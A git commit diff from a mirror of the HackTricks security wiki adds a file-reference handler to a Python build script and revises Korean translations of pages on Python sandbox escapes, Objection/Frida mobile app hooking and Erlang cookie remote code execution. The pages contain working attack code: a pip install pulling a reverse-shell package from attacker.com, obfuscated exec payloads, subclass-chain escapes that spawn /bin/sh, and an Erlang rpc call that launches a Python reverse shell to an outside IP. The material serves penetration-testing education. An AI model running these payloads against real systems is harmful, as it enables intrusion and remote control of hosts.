mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
c9cefc0739
commit
d3a827d093
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -41,10 +41,9 @@ system('ls')
|
||||
```
|
||||
_**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 합니다.
|
||||
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 합니다.
|
||||
|
||||
Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고** 합니다 (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고** 시도합니다 (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -80,12 +79,14 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
패키지를 다운로드하여 리버스 셸을 생성할 수 있습니다. 사용하기 전에 **압축을 풀고, `setup.py`를 변경하고, 리버스 셸을 위한 IP를 입력해야 합니다**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> 이 패키지는 `Reverse`라고 불립니다. 그러나 리버스 셸을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 서버에 **추가적인 파이썬 패키지가 설치되지 않게 됩니다**.
|
||||
> 이 패키지는 `Reverse`라고 불립니다. 그러나 리버스 셸을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 떠날 때 **서버에 추가적인 파이썬 패키지가 설치되지 않게 됩니다**.
|
||||
|
||||
## 파이썬 코드 평가
|
||||
## 파이썬 코드 평가하기
|
||||
|
||||
> [!WARNING]
|
||||
> exec는 여러 줄 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다 (월러스 연산자 확인).
|
||||
@ -111,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### 파이썬 코드를 eval할 수 있는 다른 라이브러리
|
||||
### Python 코드를 eval할 수 있는 다른 라이브러리
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -134,7 +135,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||
## 보호 우회를 위한 인코딩 (UTF-7)
|
||||
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7은 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
|
||||
```python
|
||||
@ -151,7 +152,7 @@ return x
|
||||
|
||||
## 호출 없이 Python 실행
|
||||
|
||||
호출을 할 수 없는 Python 감옥에 있는 경우에도 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
|
||||
호출을 할 수 없는 **파이썬 감옥**에 있는 경우에도 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
|
||||
|
||||
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 이용한 RCE
|
||||
```python
|
||||
@ -177,11 +178,11 @@ class _:pass
|
||||
```
|
||||
### RCE 객체 생성 및 오버로드
|
||||
|
||||
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/덮어쓸** 수 있습니다.
|
||||
|
||||
#### 사용자 정의 클래스를 통한 RCE
|
||||
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새 클래스를 생성하여_) 수정하여 **직접 호출하지 않고도** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 덮어쓰거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -292,7 +293,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### 내장 함수 도움말 및 라이센스 파일 읽기
|
||||
### 내장 함수 도움말 및 라이센스로 파일 읽기
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -313,8 +314,8 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
`__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다**.\
|
||||
그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다**. 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
|
||||
`__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다.**\
|
||||
그러나 **기본적으로 파이썬은 메모리에 많은 모듈을 가져옵니다.** 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
|
||||
|
||||
다음 예제에서는 **이 "무해한"** 모듈을 **악용**하여 **내부의** **위험한** **기능**에 **접근하는** 방법을 관찰할 수 있습니다.
|
||||
|
||||
@ -404,7 +405,7 @@ class_obj.__init__.__globals__
|
||||
|
||||
## 임의 실행 발견
|
||||
|
||||
여기에서는 **더 위험한 기능**을 쉽게 발견하는 방법을 설명하고 더 신뢰할 수 있는 익스플로잇을 제안하고자 합니다.
|
||||
여기에서는 **더 위험한 기능**을 쉽게 발견하는 방법과 더 신뢰할 수 있는 익스플로잇을 제안하고자 합니다.
|
||||
|
||||
#### 우회로 서브클래스에 접근하기
|
||||
|
||||
@ -443,7 +444,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
많은 방법이 있으며, **우리는 명령을 실행하기 위해 하나만 필요합니다:**
|
||||
많은 방법이 있으며, **우리는 단지 하나만 필요합니다** 명령을 실행하기 위해:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
@ -482,7 +483,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
또한, 우리는 악성 라이브러리를 로드하는 모듈을 검색할 수도 있습니다:
|
||||
또한, 어떤 모듈이 악성 라이브러리를 로드하고 있는지 검색할 수도 있습니다:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -685,7 +686,7 @@ get_name_for_avatar(st, people_obj = people)
|
||||
|
||||
또한 `.__dict__`를 사용하여 객체의 요소를 나열할 수 있음을 주목하세요 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
|
||||
|
||||
형식 문자열의 다른 흥미로운 특징은 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
||||
형식 문자열의 다른 흥미로운 특징 중 하나는 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
@ -732,16 +733,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
|
||||
|
||||
### 포맷에서 RCE로 라이브러리 로딩
|
||||
|
||||
[**이 글의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 포맷 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드할 수 있습니다.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/), python에서 포맷 문자열 취약점을 악용하여 임의의 라이브러리를 디스크에서 로드하는 것이 가능합니다.
|
||||
|
||||
상기 사항으로, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행됩니다. 예를 들어 `2*3`은 **`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
|
||||
상기 사항을 상기하기 위해, python에서 어떤 작업이 수행될 때마다 어떤 함수가 실행됩니다. 예를 들어 `2*3`은 **`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
|
||||
|
||||
이와 유사한 내용은 [**Python execution without calls**](#python-execution-without-calls) 섹션에서 더 확인할 수 있습니다.
|
||||
|
||||
파이썬의 포맷 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 RCE를 얻는 것은 불가능합니다.\
|
||||
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
|
||||
python 포맷 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 RCE를 얻는 것은 불가능합니다.\
|
||||
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반 python 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__** 메서드가 있다면, 이를 악용하여 RCE를 얻는 것이 가능합니다.
|
||||
|
||||
파이썬에서 그런 가젯을 찾기 위해, 글에서는 이 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)를 발견했습니다:
|
||||
python에서 그런 가젯을 찾기 위해, writeup은 이 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)를 발견했습니다:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -769,10 +770,10 @@ pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
도전 과제는 실제로 서버의 디스크에 임의의 파일을 생성할 수 있는 또 다른 취약점을 악용합니다.
|
||||
|
||||
## 파이썬 객체 해부하기
|
||||
## Python 객체 해부하기
|
||||
|
||||
> [!NOTE]
|
||||
> **파이썬 바이트코드**에 대해 깊이 배우고 싶다면 이 **멋진** 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> **python bytecode**에 대해 깊이 배우고 싶다면 이 주제에 대한 **멋진** 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**을 제공받을 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
|
||||
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
다음에 유의하세요: **파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드**(`get_flag.func_code.co_code`)를 얻고 이를 로컬에서 **디스어셈블**할 수 있습니다. 변수의 내용이 로드되는 것을 볼 수는 없지만(`LOAD_CONST`), `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`) 이를 추측할 수 있습니다.
|
||||
다음에 유의하세요: **파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드**(`get_flag.func_code.co_code`)를 얻고 이를 로컬에서 **디스어셈블**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -968,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### 유출된 함수 재생성
|
||||
|
||||
> [!WARNING]
|
||||
> 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져올 것입니다. **실제 예제**에서는 함수를 실행하기 위해 **`code_type`**에 필요한 **값들**이 **유출되어야 합니다**.
|
||||
> 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져올 것입니다. **실제 예제**에서는 함수를 실행하는 데 필요한 **값**이 **유출해야 할 것**입니다 **`code_type`**입니다.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -1021,7 +1022,7 @@ f(42)
|
||||
```
|
||||
## 컴파일된 파이썬 디컴파일
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하여 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하면 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
|
||||
**이 튜토리얼을 확인하세요**:
|
||||
|
||||
@ -1054,5 +1055,4 @@ print(f"\nNot a Super User!!!\n")
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
**objection - 런타임 모바일 탐색**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection)는 [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다.
|
||||
[**Objection**](https://github.com/sensepost/objection)는 [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥이나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 태세를 평가하는 데 도움을 주기 위해 만들어졌습니다.
|
||||
|
||||
**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용함으로써, 사용자는 직면한 샌드박스에서 부과된 모든 제한에 여전히 제한됩니다.
|
||||
**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용하더라도 사용자는 직면한 샌드박스에서 부과된 모든 제한에 의해 여전히 제한됩니다.
|
||||
|
||||
### 요약
|
||||
|
||||
@ -18,7 +18,9 @@
|
||||
|
||||
이 튜토리얼에서는 여기에서 다운로드할 수 있는 APK를 사용할 것입니다:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
또는 [원본 저장소](https://github.com/asvid/FridaApp)에서 (app-release.apk 다운로드)
|
||||
|
||||
@ -26,7 +28,7 @@
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### 연결
|
||||
### Connection
|
||||
|
||||
**정기 ADB 연결**을 만들고 **장치에서** **frida** 서버를 **시작**합니다 (그리고 클라이언트와 서버 모두에서 frida가 작동하는지 확인합니다).
|
||||
|
||||
@ -37,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### 기본 작업
|
||||
|
||||
이 튜토리얼에서는 유용하다고 생각되는 명령어만 나열할 것이며, objections의 모든 가능한 명령어는 나열되지 않습니다.
|
||||
이 튜토리얼에서는 유용하다고 생각되는 명령만 나열할 것이며, objections의 모든 가능한 명령은 나열되지 않습니다.
|
||||
|
||||
#### 환경
|
||||
|
||||
@ -47,7 +49,7 @@ env
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### 프리다 정보
|
||||
#### Frida 정보
|
||||
```bash
|
||||
frida
|
||||
```
|
||||
@ -86,7 +88,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
||||
|
||||
이것은 어떤 방법으로든 앱의 **읽을 수 있는 소스 코드**를 얻을 수 없는 경우에도 유용합니다.
|
||||
|
||||
#### 활동, 수신기 및 서비스 나열
|
||||
#### 활동, 수신기 및 서비스 목록
|
||||
```bash
|
||||
android hooking list activities
|
||||
```
|
||||
@ -105,7 +107,7 @@ android hooking get current_activity
|
||||
|
||||
#### 클래스 검색
|
||||
|
||||
애플리케이션 내에서 클래스를 찾아보겠습니다.
|
||||
우리 애플리케이션 내에서 클래스를 찾아보겠습니다.
|
||||
```bash
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
@ -113,7 +115,7 @@ android hooking search classes asvid.github.io.fridaapp
|
||||
|
||||
#### 클래스의 메서드 검색
|
||||
|
||||
이제 _MainActivity:_ 클래스 내부의 메서드를 추출해 봅시다.
|
||||
이제 클래스 _MainActivity:_ 내부의 메서드를 추출해 봅시다.
|
||||
```bash
|
||||
android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
@ -129,17 +131,17 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
|
||||
#### 클래스 목록
|
||||
|
||||
현재 애플리케이션 내에서 로드된 모든 클래스를 나열할 수도 있습니다:
|
||||
현재 애플리케이션에 로드된 모든 클래스를 나열할 수도 있습니다:
|
||||
```bash
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **클래스를 소유한 모듈을 검색**한 다음 메서드를 후킹할 수 있습니다.
|
||||
이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 싶을 때** 매우 유용합니다. 이 함수를 사용하여 **어떤 모듈이 클래스를 소유하는지 검색**한 다음 메서드를 후킹할 수 있습니다.
|
||||
|
||||
### 후킹이 쉬움
|
||||
|
||||
#### 메서드 후킹(감시)
|
||||
|
||||
애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 **MainActivity**의 **함수** _**sum()**_ 이 **매초** 실행된다는 것을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다:
|
||||
애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 **함수** _**sum()**_ **이** _**MainActivity**_ **에서** **매초 실행되고** 있음을 알 수 있습니다. 함수를 호출할 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프해 보겠습니다**:
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
@ -151,13 +153,13 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, 그 **인수** 및 **반환** 값을 볼 수 있습니다.
|
||||
애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, **인수** 및 **반환** 값을 볼 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
#### 함수의 불리언 반환 값 변경
|
||||
|
||||
소스 코드를 보면 _checkPin_ 함수가 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다:
|
||||
소스 코드를 보면 함수 _checkPin_이 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -175,7 +177,7 @@ android heap print_instances <class>
|
||||
|
||||
### Keystore/Intents
|
||||
|
||||
keystore와 intents를 사용하여 실험할 수 있습니다:
|
||||
키스토어와 인텐트를 사용하여 실험할 수 있습니다:
|
||||
```bash
|
||||
android keystore list
|
||||
android intents launch_activity
|
||||
@ -217,12 +219,10 @@ SQLite 데이터베이스와 상호작용하기 위해 `sqlite` 명령어를 사
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
## Objection에서 내가 놓치는 것
|
||||
## 내가 Objection에서 놓치는 것
|
||||
|
||||
- 후킹 방법이 때때로 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다).
|
||||
- 클래스의 인스턴스를 사용하여 인스턴스의 함수를 호출할 수 없습니다. 그리고 클래스의 새 인스턴스를 생성하고 이를 사용하여 함수를 호출할 수 없습니다.
|
||||
- 애플리케이션에서 사용되는 모든 일반적인 암호화 방법을 후킹하여 암호화된 텍스트, 평문, 키, IV 및 사용된 알고리즘을 볼 수 있는 단축키(sslpinning과 같은)가 없습니다.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -40,7 +40,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## 원격 연결
|
||||
## Remote Connection
|
||||
|
||||
만약 **인증 쿠키를 유출**할 수 있다면, 호스트에서 코드를 실행할 수 있습니다. 일반적으로 이 쿠키는 `~/.erlang.cookie`에 위치하며, erlang이 처음 시작할 때 생성됩니다. 수정되거나 수동으로 설정되지 않은 경우, 길이가 20자인 \[A:Z]의 무작위 문자열입니다.
|
||||
```bash
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
더 많은 정보는 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)에서 확인할 수 있습니다.\
|
||||
저자는 쿠키를 브루트포스하는 프로그램도 공유합니다:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## 로컬 연결
|
||||
|
||||
@ -68,8 +70,8 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
예시는 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)에서 가져왔습니다.\
|
||||
**Canape HTB 머신을 사용하여** **이 취약점을** **악용하는 방법을 연습할 수 있습니다**.
|
